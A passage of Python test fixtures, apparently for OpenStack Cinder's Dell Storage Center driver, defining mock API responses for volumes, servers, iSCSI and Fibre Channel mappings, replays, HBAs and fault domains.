u'instanceName': u'Assigned - Redundant - 2 MB',
u'objectType': u'ScStorageType'},
u'cmmDestination': False,
u'replicationDestination': False,
u'volumeFolder': {u'instanceId': u'64702.17',
u'instanceName': u'fcvm',
u'objectType': u'ScVolumeFolder'},
u'deviceId': u'6000d31000fcbe000000000000000da8',
u'active': False,
u'portableVolumeDestination': False,
u'deleteAllowed': True,
u'name': u'volume-37883deb-85cd-426a-9a98-62eaad8671ea',
u'scName': u'Storage Center 64702',
u'secureDataUsed': False,
u'serialNumber': u'0000fcbe-00000da8',
u'replayAllowed': True,
u'flashOptimized': False,
u'configuredSize': u'1.073741824E9 Bytes',
u'mapped': False,
u'cmmSource': False}
SCSERVER = {u'scName': u'Storage Center 64702',
u'volumeCount': 0,
u'removeHbasAllowed': True,
u'legacyFluidFs': False,
u'serverFolderIndex': 4,
u'alertOnConnectivity': True,
u'objectType': u'ScPhysicalServer',
u'instanceName': u'Server_21000024ff30441d',
u'instanceId': u'64702.47',
u'serverFolderPath': u'devstacksrv/',
u'portType': [u'FibreChannel'],
u'type': u'Physical',
u'statusMessage': u'Only 5 of 6 expected paths are up',
u'status': u'Degraded',
u'scSerialNumber': 64702,
u'serverFolder': {u'instanceId': u'64702.4',
u'instanceName': u'devstacksrv',
u'objectType': u'ScServerFolder'},
u'parentIndex': 0,
u'connectivity': u'Partial',
u'hostCacheIndex': 0,
u'deleteAllowed': True,
u'pathCount': 5,
u'name': u'Server_21000024ff30441d',
u'hbaPresent': True,
u'hbaCount': 2,
u'notes': u'Created by Dell Cinder Driver',
u'mapped': False,
u'operatingSystem': {u'instanceId': u'64702.38',
u'instanceName': u'Red Hat Linux 6.x',
u'objectType': u'ScServerOperatingSystem'}
}
# ScServer where deletedAllowed=False (not allowed to be deleted)
SCSERVER_NO_DEL = {u'scName': u'Storage Center 64702',
u'volumeCount': 0,
u'removeHbasAllowed': True,
u'legacyFluidFs': False,
u'serverFolderIndex': 4,
u'alertOnConnectivity': True,
u'objectType': u'ScPhysicalServer',
u'instanceName': u'Server_21000024ff30441d',
u'instanceId': u'64702.47',
u'serverFolderPath': u'devstacksrv/',
u'portType': [u'FibreChannel'],
u'type': u'Physical',
u'statusMessage': u'Only 5 of 6 expected paths are up',
u'status': u'Degraded',
u'scSerialNumber': 64702,
u'serverFolder': {u'instanceId': u'64702.4',
u'instanceName': u'devstacksrv',
u'objectType': u'ScServerFolder'},
u'parentIndex': 0,
u'connectivity': u'Partial',
u'hostCacheIndex': 0,
u'deleteAllowed': False,
u'pathCount': 5,
u'name': u'Server_21000024ff30441d',
u'hbaPresent': True,
u'hbaCount': 2,
u'notes': u'Created by Dell Cinder Driver',
u'mapped': False,
u'operatingSystem':
{u'instanceId': u'64702.38',
u'instanceName': u'Red Hat Linux 6.x',
u'objectType': u'ScServerOperatingSystem'}
}
SCSERVERS = [{u'scName': u'Storage Center 64702',
u'volumeCount': 5,
u'removeHbasAllowed': True,
u'legacyFluidFs': False,
u'serverFolderIndex': 0,
u'alertOnConnectivity': True,
u'objectType': u'ScPhysicalServer',
u'instanceName': u'openstack4',
u'instanceId': u'64702.1',
u'serverFolderPath': u'',
u'portType': [u'Iscsi'],
u'type': u'Physical',
u'statusMessage': u'',
u'status': u'Up',
u'scSerialNumber': 64702,
u'serverFolder': {u'instanceId': u'64702.0',
u'instanceName': u'Servers',
u'objectType': u'ScServerFolder'},
u'parentIndex': 0,
u'connectivity': u'Up',
u'hostCacheIndex': 0,
u'deleteAllowed': True,
u'pathCount': 0,
u'name': u'openstack4',
u'hbaPresent': True,
u'hbaCount': 1,
u'notes': u'',
u'mapped': True,
u'operatingSystem':
{u'instanceId': u'64702.3',
u'instanceName': u'Other Multipath',
u'objectType': u'ScServerOperatingSystem'}},
{u'scName': u'Storage Center 64702',
u'volumeCount': 1,
u'removeHbasAllowed': True,
u'legacyFluidFs': False,
u'serverFolderIndex': 0,
u'alertOnConnectivity': True,
u'objectType': u'ScPhysicalServer',
u'instanceName': u'openstack5',
u'instanceId': u'64702.2',
u'serverFolderPath': u'',
u'portType': [u'Iscsi'],
u'type': u'Physical',
u'statusMessage': u'',
u'status': u'Up',
u'scSerialNumber': 64702,
u'serverFolder': {u'instanceId': u'64702.0',
u'instanceName': u'Servers',
u'objectType': u'ScServerFolder'},
u'parentIndex': 0,
u'connectivity': u'Up',
u'hostCacheIndex': 0,
u'deleteAllowed': True,
u'pathCount': 0, u'name': u'openstack5',
u'hbaPresent': True,
u'hbaCount': 1,
u'notes': u'',
u'mapped': True,
u'operatingSystem':
{u'instanceId': u'64702.2',
u'instanceName': u'Other Singlepath',
u'objectType': u'ScServerOperatingSystem'}}]
# ScServers list where status = Down
SCSERVERS_DOWN = \
[{u'scName': u'Storage Center 64702',
u'volumeCount': 5,
u'removeHbasAllowed': True,
u'legacyFluidFs': False,
u'serverFolderIndex': 0,
u'alertOnConnectivity': True,
u'objectType': u'ScPhysicalServer',
u'instanceName': u'openstack4',
u'instanceId': u'64702.1',
u'serverFolderPath': u'',
u'portType': [u'Iscsi'],
u'type': u'Physical',
u'statusMessage': u'',
u'status': u'Down',
u'scSerialNumber': 64702,
u'serverFolder': {u'instanceId': u'64702.0',
u'instanceName': u'Servers',
u'objectType': u'ScServerFolder'},
u'parentIndex': 0,
u'connectivity': u'Up',
u'hostCacheIndex': 0,
u'deleteAllowed': True,
u'pathCount': 0,
u'name': u'openstack4',
u'hbaPresent': True,
u'hbaCount': 1,
u'notes': u'',
u'mapped': True,
u'operatingSystem':
{u'instanceId': u'64702.3',
u'instanceName': u'Other Multipath',
u'objectType': u'ScServerOperatingSystem'}}]
MAP_PROFILE = {u'instanceId': u'64702.2941',
u'scName': u'Storage Center 64702',
u'scSerialNumber': 64702,
u'controller': {u'instanceId': u'64702.64703',
u'instanceName': u'SN 64703',
u'objectType': u'ScController'},
u'lunUsed': [1],
u'server': {u'instanceId': u'64702.47',
u'instanceName': u'Server_21000024ff30441d',
u'objectType': u'ScPhysicalServer'},
u'volume':
{u'instanceId': u'64702.6025',
u'instanceName': u'Server_21000024ff30441d Test Vol',
u'objectType': u'ScVolume'},
u'connectivity': u'Up',
u'readOnly': False,
u'objectType': u'ScMappingProfile',
u'hostCache': False,
u'mappedVia': u'Server',
u'mapCount': 3,
u'instanceName': u'6025-47',
u'lunRequested': u'N/A'}
MAP_PROFILES = [MAP_PROFILE]
MAPPINGS = [{u'profile': {u'instanceId': u'64702.104',
u'instanceName': u'92-30',
u'objectType': u'ScMappingProfile'},
u'status': u'Down',
u'statusMessage': u'',
u'instanceId': u'64702.969.64702',
u'scName': u'Storage Center 64702',
u'scSerialNumber': 64702,
u'controller': {u'instanceId': u'64702.64702',
u'instanceName': u'SN 64702',
u'objectType': u'ScController'},
u'server': {u'instanceId': u'64702.30',
u'instanceName':
u'Server_iqn.1993-08.org.debian:01:3776df826e4f',
u'objectType': u'ScPhysicalServer'},
u'volume': {u'instanceId': u'64702.92',
u'instanceName':
u'volume-74a21934-60ad-4cf2-b89b-1f0dda309ddf',
u'objectType': u'ScVolume'},
u'readOnly': False,
u'lun': 1,
u'lunUsed': [1],
u'serverHba': {u'instanceId': u'64702.3454975614',
u'instanceName':
u'iqn.1993-08.org.debian:01:3776df826e4f',
u'objectType': u'ScServerHba'},
u'path': {u'instanceId': u'64702.64702.64702.31.8',
u'instanceName':
u'iqn.1993-08.org.debian:'
'01:3776df826e4f-5000D31000FCBE43',
u'objectType': u'ScServerHbaPath'},
u'controllerPort': {u'instanceId':
u'64702.5764839588723736131.91',
u'instanceName': u'5000D31000FCBE43',
u'objectType': u'ScControllerPort'},
u'instanceName': u'64702-969',
u'transport': u'Iscsi',
u'objectType': u'ScMapping'}]
# Multiple mappings to test find_iscsi_properties with multiple portals
MAPPINGS_MULTI_PORTAL = \
[{u'profile': {u'instanceId': u'64702.104',
u'instanceName': u'92-30',
u'objectType': u'ScMappingProfile'},
u'status': u'Down',
u'statusMessage': u'',
u'instanceId': u'64702.969.64702',
u'scName': u'Storage Center 64702',
u'scSerialNumber': 64702,
u'controller': {u'instanceId': u'64702.64702',
u'instanceName': u'SN 64702',
u'objectType': u'ScController'},
u'server': {u'instanceId': u'64702.30',
u'instanceName':
u'Server_iqn.1993-08.org.debian:01:3776df826e4f',
u'objectType': u'ScPhysicalServer'},
u'volume': {u'instanceId': u'64702.92',
u'instanceName':
u'volume-74a21934-60ad-4cf2-b89b-1f0dda309ddf',
u'objectType': u'ScVolume'},
u'readOnly': False,
u'lun': 1,
u'lunUsed': [1],
u'serverHba': {u'instanceId': u'64702.3454975614',
u'instanceName':
u'iqn.1993-08.org.debian:01:3776df826e4f',
u'objectType': u'ScServerHba'},
u'path': {u'instanceId': u'64702.64702.64702.31.8',
u'instanceName':
u'iqn.1993-08.org.debian:'
'01:3776df826e4f-5000D31000FCBE43',
u'objectType': u'ScServerHbaPath'},
u'controllerPort': {u'instanceId':
u'64702.5764839588723736131.91',
u'instanceName': u'5000D31000FCBE43',
u'objectType': u'ScControllerPort'},
u'instanceName': u'64702-969',
u'transport': u'Iscsi',
u'objectType': u'ScMapping'},
{u'profile': {u'instanceId': u'64702.104',
u'instanceName': u'92-30',
u'objectType': u'ScMappingProfile'},
u'status': u'Down',
u'statusMessage': u'',
u'instanceId': u'64702.969.64702',
u'scName': u'Storage Center 64702',
u'scSerialNumber': 64702,
u'controller': {u'instanceId': u'64702.64702',
u'instanceName': u'SN 64702',
u'objectType': u'ScController'},
u'server': {u'instanceId': u'64702.30',
u'instanceName':
u'Server_iqn.1993-08.org.debian:01:3776df826e4f',
u'objectType': u'ScPhysicalServer'},
u'volume': {u'instanceId': u'64702.92',
u'instanceName':
u'volume-74a21934-60ad-4cf2-b89b-1f0dda309ddf',
u'objectType': u'ScVolume'},
u'readOnly': False,
u'lun': 1,
u'lunUsed': [1],
u'serverHba': {u'instanceId': u'64702.3454975614',
u'instanceName':
u'iqn.1993-08.org.debian:01:3776df826e4f',
u'objectType': u'ScServerHba'},
u'path': {u'instanceId': u'64702.64702.64702.31.8',
u'instanceName':
u'iqn.1993-08.org.debian:'
'01:3776df826e4f-5000D31000FCBE43',
u'objectType': u'ScServerHbaPath'},
u'controllerPort': {u'instanceId':
u'64702.5764839588723736131.91',
u'instanceName': u'5000D31000FCBE43',
u'objectType': u'ScControllerPort'},
u'instanceName': u'64702-969',
u'transport': u'Iscsi',
u'objectType': u'ScMapping'}]
MAPPINGS_READ_ONLY = \
[{u'profile': {u'instanceId': u'64702.104',
u'instanceName': u'92-30',
u'objectType': u'ScMappingProfile'},
u'status': u'Down',
u'statusMessage': u'',
u'instanceId': u'64702.969.64702',
u'scName': u'Storage Center 64702',
u'scSerialNumber': 64702,
u'controller': {u'instanceId': u'64702.64702',
u'instanceName': u'SN 64702',
u'objectType': u'ScController'},
u'server': {u'instanceId': u'64702.30',
u'instanceName':
u'Server_iqn.1993-08.org.debian:01:3776df826e4f',
u'objectType': u'ScPhysicalServer'},
u'volume': {u'instanceId': u'64702.92',
u'instanceName':
u'volume-74a21934-60ad-4cf2-b89b-1f0dda309ddf',
u'objectType': u'ScVolume'},
u'readOnly': True,
u'lun': 1,
u'lunUsed': [1],
u'serverHba': {u'instanceId': u'64702.3454975614',
u'instanceName':
u'iqn.1993-08.org.debian:01:3776df826e4f',
u'objectType': u'ScServerHba'},
u'path': {u'instanceId': u'64702.64702.64702.31.8',
u'instanceName':
u'iqn.1993-08.org.debian:'
'01:3776df826e4f-5000D31000FCBE43',
u'objectType': u'ScServerHbaPath'},
u'controllerPort': {u'instanceId':
u'64702.5764839588723736131.91',
u'instanceName':
u'5000D31000FCBE43',
u'objectType': u'ScControllerPort'},
u'instanceName': u'64702-969',
u'transport': u'Iscsi',
u'objectType': u'ScMapping'}]
FC_MAPPINGS = [{u'profile': {u'instanceId': u'64702.2941',
u'instanceName': u'6025-47',
u'objectType': u'ScMappingProfile'},
u'status': u'Up',
u'statusMessage': u'',
u'instanceId': u'64702.7639.64702',
u'scName': u'Storage Center 64702',
u'scSerialNumber': 64702,
u'controller': {u'instanceId': u'64702.64703',
u'instanceName': u'SN 64703',
u'objectType': u'ScController'},
u'server': {u'instanceId': u'64702.47',
u'instanceName': u'Server_21000024ff30441d',
u'objectType': u'ScPhysicalServer'},
u'volume': {u'instanceId': u'64702.6025',
u'instanceName':
u'Server_21000024ff30441d Test Vol',
u'objectType': u'ScVolume'},
u'readOnly': False,
u'lun': 1,
u'serverHba': {u'instanceId': u'64702.3282218607',
u'instanceName': u'21000024FF30441C',
u'objectType': u'ScServerHba'},
u'path': {u'instanceId': u'64702.64702.64703.27.73',
u'instanceName':
u'21000024FF30441C-5000D31000FCBE36',
u'objectType': u'ScServerHbaPath'},
u'controllerPort':
{u'instanceId': u'64702.5764839588723736118.50',
u'instanceName': u'5000D31000FCBE36',
u'objectType': u'ScControllerPort'},
u'instanceName': u'64702-7639',
u'transport': u'FibreChannel',
u'objectType': u'ScMapping'},
{u'profile': {u'instanceId': u'64702.2941',
u'instanceName': u'6025-47',
u'objectType': u'ScMappingProfile'},
u'status': u'Up',
u'statusMessage': u'',
u'instanceId': u'64702.7640.64702',
u'scName': u'Storage Center 64702',
u'scSerialNumber': 64702,
u'controller': {u'instanceId': u'64702.64703',
u'instanceName': u'SN 64703',
u'objectType': u'ScController'},
u'server': {u'instanceId': u'64702.47',
u'instanceName': u'Server_21000024ff30441d',
u'objectType': u'ScPhysicalServer'},
u'volume':
{u'instanceId': u'64702.6025',
u'instanceName': u'Server_21000024ff30441d Test Vol',
u'objectType': u'ScVolume'},
u'readOnly': False,
u'lun': 1,
u'serverHba': {u'instanceId': u'64702.3282218606',
u'instanceName': u'21000024FF30441D',
u'objectType': u'ScServerHba'},
u'path':
{u'instanceId': u'64702.64702.64703.27.78',
u'instanceName': u'21000024FF30441D-5000D31000FCBE36',
u'objectType': u'ScServerHbaPath'},
u'controllerPort':
{u'instanceId': u'64702.5764839588723736118.50',
u'instanceName': u'5000D31000FCBE36',
u'objectType': u'ScControllerPort'},
u'instanceName': u'64702-7640',
u'transport': u'FibreChannel',
u'objectType': u'ScMapping'},
{u'profile': {u'instanceId': u'64702.2941',
u'instanceName': u'6025-47',
u'objectType': u'ScMappingProfile'},
u'status': u'Up',
u'statusMessage': u'',
u'instanceId': u'64702.7638.64702',
u'scName': u'Storage Center 64702',
u'scSerialNumber': 64702,
u'controller': {u'instanceId': u'64702.64703',
u'instanceName': u'SN 64703',
u'objectType': u'ScController'},
u'server': {u'instanceId': u'64702.47',
u'instanceName': u'Server_21000024ff30441d',
u'objectType': u'ScPhysicalServer'},
u'volume': {u'instanceId': u'64702.6025',
u'instanceName':
u'Server_21000024ff30441d Test Vol',
u'objectType': u'ScVolume'},
u'readOnly': False,
u'lun': 1,
u'serverHba': {u'instanceId': u'64702.3282218606',
u'instanceName': u'21000024FF30441D',
u'objectType': u'ScServerHba'},
u'path':
{u'instanceId': u'64702.64702.64703.28.76',
u'instanceName': u'21000024FF30441D-5000D31000FCBE3E',
u'objectType': u'ScServerHbaPath'},
u'controllerPort': {u'instanceId':
u'64702.5764839588723736126.60',
u'instanceName': u'5000D31000FCBE3E',
u'objectType': u'ScControllerPort'},
u'instanceName': u'64702-7638',
u'transport': u'FibreChannel',
u'objectType': u'ScMapping'}]
FC_MAPPINGS_LUN_MISMATCH = \
[{u'profile': {u'instanceId': u'64702.2941',
u'instanceName': u'6025-47',
u'objectType': u'ScMappingProfile'},
u'status': u'Up',
u'statusMessage': u'',
u'instanceId': u'64702.7639.64702',
u'scName': u'Storage Center 64702',
u'scSerialNumber': 64702,
u'controller': {u'instanceId': u'64702.64703',
u'instanceName': u'SN 64703',
u'objectType': u'ScController'},
u'server': {u'instanceId': u'64702.47',
u'instanceName': u'Server_21000024ff30441d',
u'objectType': u'ScPhysicalServer'},
u'volume': {u'instanceId': u'64702.6025',
u'instanceName':
u'Server_21000024ff30441d Test Vol',
u'objectType': u'ScVolume'},
u'readOnly': False,
u'lun': 1,
u'serverHba': {u'instanceId': u'64702.3282218607',
u'instanceName': u'21000024FF30441C',
u'objectType': u'ScServerHba'},
u'path': {u'instanceId': u'64702.64702.64703.27.73',
u'instanceName':
u'21000024FF30441C-5000D31000FCBE36',
u'objectType': u'ScServerHbaPath'},
u'controllerPort':
{u'instanceId': u'64702.5764839588723736118.50',
u'instanceName': u'5000D31000FCBE36',
u'objectType': u'ScControllerPort'},
u'instanceName': u'64702-7639',
u'transport': u'FibreChannel',
u'objectType': u'ScMapping'},
{u'profile': {u'instanceId': u'64702.2941',
u'instanceName': u'6025-47',
u'objectType': u'ScMappingProfile'},
u'status': u'Up',
u'statusMessage': u'',
u'instanceId': u'64702.7640.64702',
u'scName': u'Storage Center 64702',
u'scSerialNumber': 64702,
u'controller': {u'instanceId': u'64702.64703',
u'instanceName': u'SN 64703',
u'objectType': u'ScController'},
u'server': {u'instanceId': u'64702.47',
u'instanceName': u'Server_21000024ff30441d',
u'objectType': u'ScPhysicalServer'},
u'volume':
{u'instanceId': u'64702.6025',
u'instanceName': u'Server_21000024ff30441d Test Vol',
u'objectType': u'ScVolume'},
u'readOnly': False,
u'lun': 1,
u'serverHba': {u'instanceId': u'64702.3282218606',
u'instanceName': u'21000024FF30441D',
u'objectType': u'ScServerHba'},
u'path':
{u'instanceId': u'64702.64702.64703.27.78',
u'instanceName': u'21000024FF30441D-5000D31000FCBE36',
u'objectType': u'ScServerHbaPath'},
u'controllerPort':
{u'instanceId': u'64702.5764839588723736118.50',
u'instanceName': u'5000D31000FCBE36',
u'objectType': u'ScControllerPort'},
u'instanceName': u'64702-7640',
u'transport': u'FibreChannel',
u'objectType': u'ScMapping'},
{u'profile': {u'instanceId': u'64702.2941',
u'instanceName': u'6025-47',
u'objectType': u'ScMappingProfile'},
u'status': u'Up',
u'statusMessage': u'',
u'instanceId': u'64702.7638.64702',
u'scName': u'Storage Center 64702',
u'scSerialNumber': 64702,
u'controller': {u'instanceId': u'64702.64703',
u'instanceName': u'SN 64703',
u'objectType': u'ScController'},
u'server': {u'instanceId': u'64702.47',
u'instanceName': u'Server_21000024ff30441d',
u'objectType': u'ScPhysicalServer'},
u'volume': {u'instanceId': u'64702.6025',
u'instanceName':
u'Server_21000024ff30441d Test Vol',
u'objectType': u'ScVolume'},
u'readOnly': False,
u'lun': 2,
u'serverHba': {u'instanceId': u'64702.3282218606',
u'instanceName': u'21000024FF30441D',
u'objectType': u'ScServerHba'},
u'path':
{u'instanceId': u'64702.64702.64703.28.76',
u'instanceName': u'21000024FF30441D-5000D31000FCBE3E',
u'objectType': u'ScServerHbaPath'},
u'controllerPort': {u'instanceId':
u'64702.5764839588723736126.60',
u'instanceName': u'5000D31000FCBE3E',
u'objectType': u'ScControllerPort'},
u'instanceName': u'64702-7638',
u'transport': u'FibreChannel',
u'objectType': u'ScMapping'}]
RPLAY = {u'scSerialNumber': 64702,
u'globalIndex': u'64702-46-250',
u'description': u'Cinder Clone Replay',
u'parent': {u'instanceId': u'64702.46.249',
u'instanceName': u'64702-46-249',
u'objectType': u'ScReplay'},
u'instanceId': u'64702.46.250',
u'scName': u'Storage Center 64702',
u'consistent': False,
u'expires': True,
u'freezeTime': u'12/09/2014 03:52:08 PM',
u'createVolume': {u'instanceId': u'64702.46',
u'instanceName':
u'volume-ff9589d3-2d41-48d5-9ef5-2713a875e85b',
u'objectType': u'ScVolume'},
u'expireTime': u'12/09/2014 04:52:08 PM',
u'source': u'Manual',
u'spaceRecovery': False,
u'writesHeldDuration': 7910,
u'active': False,
u'markedForExpiration': False,
u'objectType': u'ScReplay',
u'instanceName': u'12/09/2014 03:52:08 PM',
u'size': u'0.0 Bytes'
}
RPLAYS = [{u'scSerialNumber': 64702,
u'globalIndex': u'64702-6025-5',
u'description': u'Manually Created',
u'parent': {u'instanceId': u'64702.6025.4',
u'instanceName': u'64702-6025-4',
u'objectType': u'ScReplay'},
u'instanceId': u'64702.6025.5',
u'scName': u'Storage Center 64702',
u'consistent': False,
u'expires': True,
u'freezeTime': u'02/02/2015 08:23:55 PM',
u'createVolume': {u'instanceId': u'64702.6025',
u'instanceName':
u'Server_21000024ff30441d Test Vol',
u'objectType': u'ScVolume'},
u'expireTime': u'02/02/2015 09:23:55 PM',
u'source': u'Manual',
u'spaceRecovery': False,
u'writesHeldDuration': 7889,
u'active': False,
u'markedForExpiration': False,
u'objectType': u'ScReplay',
u'instanceName': u'02/02/2015 08:23:55 PM',
u'size': u'0.0 Bytes'},
{u'scSerialNumber': 64702,
u'globalIndex': u'64702-6025-4',
u'description': u'Cinder Test Replay012345678910',
u'parent': {u'instanceId': u'64702.6025.3',
u'instanceName': u'64702-6025-3',
u'objectType': u'ScReplay'},
u'instanceId': u'64702.6025.4',
u'scName': u'Storage Center 64702',
u'consistent': False,
u'expires': True,
u'freezeTime': u'02/02/2015 08:23:47 PM',
u'createVolume': {u'instanceId': u'64702.6025',
u'instanceName':
u'Server_21000024ff30441d Test Vol',
u'objectType': u'ScVolume'},
u'expireTime': u'02/02/2015 09:23:47 PM',
u'source': u'Manual',
u'spaceRecovery': False,
u'writesHeldDuration': 7869,
u'active': False,
u'markedForExpiration': False,
u'objectType': u'ScReplay',
u'instanceName': u'02/02/2015 08:23:47 PM',
u'size': u'0.0 Bytes'}]
TST_RPLAY = {u'scSerialNumber': 64702,
u'globalIndex': u'64702-6025-4',
u'description': u'Cinder Test Replay012345678910',
u'parent': {u'instanceId': u'64702.6025.3',
u'instanceName': u'64702-6025-3',
u'objectType': u'ScReplay'},
u'instanceId': u'64702.6025.4',
u'scName': u'Storage Center 64702',
u'consistent': False,
u'expires': True,
u'freezeTime': u'02/02/2015 08:23:47 PM',
u'createVolume': {u'instanceId': u'64702.6025',
u'instanceName':
u'Server_21000024ff30441d Test Vol',
u'objectType': u'ScVolume'},
u'expireTime': u'02/02/2015 09:23:47 PM',
u'source': u'Manual',
u'spaceRecovery': False,
u'writesHeldDuration': 7869,
u'active': False,
u'markedForExpiration': False,
u'objectType': u'ScReplay',
u'instanceName': u'02/02/2015 08:23:47 PM',
u'size': u'0.0 Bytes'}
FLDR = {u'status': u'Up',
u'instanceName': u'opnstktst',
u'name': u'opnstktst',
u'parent':
{u'instanceId': u'64702.0',
u'instanceName': u'Volumes',
u'objectType': u'ScVolumeFolder'},
u'instanceId': u'64702.43',
u'scName': u'Storage Center 64702',
u'notes': u'Folder for OpenStack Cinder Driver',
u'scSerialNumber': 64702,
u'parentIndex': 0,
u'okToDelete': True,
u'folderPath': u'',
u'root': False,
u'statusMessage': u'',
u'objectType': u'ScVolumeFolder'}
SVR_FLDR = {u'status': u'Up',
u'instanceName': u'devstacksrv',
u'name': u'devstacksrv',
u'parent': {u'instanceId': u'64702.0',
u'instanceName': u'Servers',
u'objectType': u'ScServerFolder'},
u'instanceId': u'64702.4',
u'scName': u'Storage Center 64702',
u'notes': u'Folder for OpenStack Cinder Driver',
u'scSerialNumber': 64702,
u'parentIndex': 0,
u'okToDelete': False,
u'folderPath': u'',
u'root': False,
u'statusMessage': u'',
u'objectType': u'ScServerFolder'}
ISCSI_HBA = {u'portWwnList': [],
u'iscsiIpAddress': u'0.0.0.0',
u'pathCount': 1,
u'name': u'iqn.1993-08.org.debian:01:52332b70525',
u'connectivity': u'Down',
u'instanceId': u'64702.3786433166',
u'scName': u'Storage Center 64702',
u'notes': u'',
u'scSerialNumber': 64702,
u'server':
{u'instanceId': u'64702.38',
u'instanceName':
u'Server_iqn.1993-08.org.debian:01:52332b70525',
u'objectType': u'ScPhysicalServer'},
u'remoteStorageCenter': False,
u'iscsiName': u'',
u'portType': u'Iscsi',
u'instanceName': u'iqn.1993-08.org.debian:01:52332b70525',
u'objectType': u'ScServerHba'}
FC_HBAS = [{u'portWwnList': [],
u'iscsiIpAddress': u'0.0.0.0',
u'pathCount': 2,
u'name': u'21000024FF30441C',
u'connectivity': u'Up',
u'instanceId': u'64702.3282218607',
u'scName': u'Storage Center 64702',
u'notes': u'',
u'scSerialNumber': 64702,
u'server': {u'instanceId': u'64702.47',
u'instanceName': u'Server_21000024ff30441d',
u'objectType': u'ScPhysicalServer'},
u'remoteStorageCenter': False,
u'iscsiName': u'',
u'portType': u'FibreChannel',
u'instanceName': u'21000024FF30441C',
u'objectType': u'ScServerHba'},
{u'portWwnList': [],
u'iscsiIpAddress': u'0.0.0.0',
u'pathCount': 3,
u'name': u'21000024FF30441D',
u'connectivity': u'Partial',
u'instanceId': u'64702.3282218606',
u'scName': u'Storage Center 64702',
u'notes': u'',
u'scSerialNumber': 64702,
u'server': {u'instanceId': u'64702.47',
u'instanceName': u'Server_21000024ff30441d',
u'objectType': u'ScPhysicalServer'},
u'remoteStorageCenter': False,
u'iscsiName': u'',
u'portType': u'FibreChannel',
u'instanceName': u'21000024FF30441D',
u'objectType': u'ScServerHba'}]
FC_HBA = {u'portWwnList': [],
u'iscsiIpAddress': u'0.0.0.0',
u'pathCount': 3,
u'name': u'21000024FF30441D',
u'connectivity': u'Partial',
u'instanceId': u'64702.3282218606',
u'scName': u'Storage Center 64702',
u'notes': u'',
u'scSerialNumber': 64702,
u'server': {u'instanceId': u'64702.47',
u'instanceName': u'Server_21000024ff30441d',
u'objectType': u'ScPhysicalServer'},
u'remoteStorageCenter': False,
u'iscsiName': u'',
u'portType': u'FibreChannel',
u'instanceName': u'21000024FF30441D',
u'objectType': u'ScServerHba'}
SVR_OS_S = [{u'allowsLunGaps': True,
u'product': u'Red Hat Linux',
u'supportsActiveMappingDeletion': True,
u'version': u'6.x',
u'requiresLunZero': False,
u'scName': u'Storage Center 64702',
u'virtualMachineGuest': True,
u'virtualMachineHost': False,
u'allowsCrossTransportMapping': False,
u'objectType': u'ScServerOperatingSystem',
u'instanceId': u'64702.38',
u'lunCanVaryAcrossPaths': False,
u'scSerialNumber': 64702,
u'maximumVolumeSize': u'0.0 Bytes',
u'multipath': True,
u'instanceName': u'Red Hat Linux 6.x',
u'supportsActiveMappingCreation': True,
u'name': u'Red Hat Linux 6.x'}]
ISCSI_FLT_DOMAINS = [{u'headerDigestEnabled': False,
u'classOfServicePriority': 0,
u'wellKnownIpAddress': u'192.168.0.21',
u'scSerialNumber': 64702,
u'iscsiName':
u'iqn.2002-03.com.compellent:5000d31000fcbe42',
u'portNumber': 3260,
u'subnetMask': u'255.255.255.0',
u'gateway': u'192.168.0.1',
u'objectType': u'ScIscsiFaultDomain',
u'chapEnabled': False,
u'instanceId': u'64702.6.5.3',
u'childStatus': u'Up',
u'defaultTimeToRetain': u'SECONDS_20',
u'dataDigestEnabled': False,
u'instanceName': u'iSCSI 10G 2',
u'statusMessage': u'',
u'status': u'Up',
u'transportType': u'Iscsi',
u'vlanId': 0,
u'windowSize': u'131072.0 Bytes',
u'defaultTimeToWait': u'SECONDS_2',
u'scsiCommandTimeout': u'MINUTES_1',
u'deleteAllowed': False,
u'name': u'iSCSI 10G 2',
u'immediateDataWriteEnabled': False,
u'scName': u'Storage Center 64702',
u'notes': u'',
u'mtu': u'MTU_1500',
u'bidirectionalChapSecret': u'',
u'keepAliveTimeout': u'SECONDS_30'}]
# For testing find_iscsi_properties where multiple portals are found
ISCSI_FLT_DOMAINS_MULTI_PORTALS = \
[{u'headerDigestEnabled': False,
u'classOfServicePriority': 0,
u'wellKnownIpAddress': u'192.168.0.21',
u'scSerialNumber': 64702,
u'iscsiName':
u'iqn.2002-03.com.compellent:5000d31000fcbe42',
u'portNumber': 3260,
u'subnetMask': u'255.255.255.0',
u'gateway': u'192.168.0.1',
u'objectType': u'ScIscsiFaultDomain',
u'chapEnabled': False,
u'instanceId': u'64702.6.5.3',
u'childStatus': u'Up',
u'defaultTimeToRetain': u'SECONDS_20',
u'dataDigestEnabled': False,
u'instanceName': u'iSCSI 10G 2',
u'statusMessage': u'',
u'status': u'Up',
u'transportType': u'Iscsi',
u'vlanId': 0,
u'windowSize': u'131072.0 Bytes',
u'defaultTimeToWait': u'SECONDS_2',
u'scsiCommandTimeout': u'MINUTES_1',
u'deleteAllowed': False,
u'name': u'iSCSI 10G 2',
u'immediateDataWriteEnabled': False,
u'scName': u'Storage Center 64702',
u'notes': u'',
u'mtu': u'MTU_1500',
u'bidirectionalChapSecret': u'',
u'keepAliveTimeout': u'SECONDS_30'},
{u'headerDigestEnabled': False,
u'classOfServicePriority': 0,
u'wellKnownIpAddress': u'192.168.0.25',
u'scSerialNumber': 64702,
u'iscsiName':
u'iqn.2002-03.com.compellent:5000d31000fcbe42',
u'portNumber': 3260,
u'subnetMask': u'255.255.255.0',
u'gateway': u'192.168.0.1',
u'objectType': u'ScIscsiFaultDomain',
u'chapEnabled': False,
u'instanceId': u'64702.6.5.3',
u'childStatus': u'Up',
u'defaultTimeToRetain': u'SECONDS_20',
u'dataDigestEnabled': False,
u'instanceName': u'iSCSI 10G 2',
u'statusMessage': u'',
u'status': u'Up',
u'transportType': u'Iscsi',
u'vlanId': 0,
u'windowSize': u'131072.0 Bytes',
u'defaultTimeToWait': u'SECONDS_2',
u'scsiCommandTimeout': u'MINUTES_1',
u'deleteAllowed': False,
u'name': u'iSCSI 10G 2',
u'immediateDataWriteEnabled': False,
u'scName': u'Storage Center 64702',
u'notes': u'',
u'mtu': u'MTU_1500',
u'bidirectionalChapSecret': u'',
u'keepAliveTimeout': u'SECONDS_30'}]
ISCSI_FLT_DOMAIN = {u'headerDigestEnabled': False,
u'classOfServicePriority': 0,
u'wellKnownIpAddress': u'192.168.0.21',
u'scSerialNumber': 64702,
u'iscsiName':
u'iqn.2002-03.com.compellent:5000d31000fcbe42',
u'portNumber': 3260,
u'subnetMask': u'255.255.255.0',
u'gateway': u'192.168.0.1',
u'objectType': u'ScIscsiFaultDomain',
u'chapEnabled': False,
